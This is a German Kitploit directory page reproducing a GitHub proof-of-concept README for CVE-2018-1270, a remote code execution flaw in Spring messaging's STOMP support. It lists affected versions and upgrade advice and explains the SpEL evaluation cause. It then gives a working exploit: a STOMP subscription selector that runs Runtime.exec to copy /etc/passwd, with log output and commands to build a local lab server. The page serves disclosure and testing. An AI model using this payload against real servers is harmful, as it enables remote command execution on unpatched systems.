Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2018-1270 — Spring messaging STOMP protocol RCE | Kitploit
Tools/GitHubGitHub/caledoniaproject/cve-2018-1270
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationArchived
GitHubcaledoniaproject/cve-2018-1270

CVE-2018-1270

Spring messaging STOMP protocol RCE

Repository anzeigen
11318vor 8 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2018-1270 - Spring messaging SpEL Code Execution Vulnerability

Gestern hat Spring einen RCE-Schwachstelle veröffentlicht, mehr dazu:

  • CVE-2018-1270: Remote Code Execution with spring-messaging

Betroffene Versionen

  • Spring Framework 5.0 bis 5.0.4
  • Spring Framework 4.3 bis 4.3.14

Diese Schwachstelle erfordert keine bestimmte Umgebung. Wenn Sie spring-messaging + websocket + STOMP verwenden, aktualisieren Sie bitte so schnell wie möglich auf die neueste Version. Falls Sie SpringBoot verwenden, aktualisieren Sie auf 2.0.1.RELEASE.

Details zur Schwachstelle

Kurz gesagt, weil StandardEvaluationContext zu weitreichende Berechtigungen hat und beliebige SpEL-Ausdrücke ausführen kann, hat das offizielle Team ab Spring 5.0.5 SimpleEvaluationContext eingeführt, um eine einfache Datenbindung zu ermöglichen, die Flexibilität bewahrt, aber keine Sicherheitsrisiken mit sich bringt.

spring-messaging bietet Unterstützung für das STOMP-Protokoll, sodass Clients Nachrichten abonnieren und mit einem Selektor filtern können, z.B.

root@kitploit:~
selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
    stompClient.subscribe('/topic/greetings', function() {}, {
        "selector": selector
    })
});

Wenn Sie abonnieren, speichert Spring diesen Filter und löst ihn aus, wenn der Client eine Nachricht erhält, z.B.

root@kitploit:~
2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]

...

2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean

Poc-Screenshot

screenshot

Eine detaillierte Analyse des Schwachstellenproblems folgt später.

Verwendung der Umgebung

Kompilieren und starten Sie den Spring Boot Server:

root@kitploit:~
mvn clean package
java -jar target/spring-boot-websocket-1.0.jar

Greifen Sie zu – geben Sie einen Ausdruck zum Testen ein:

root@kitploit:~
http://localhost:8080

screenshot

Tool herunterladen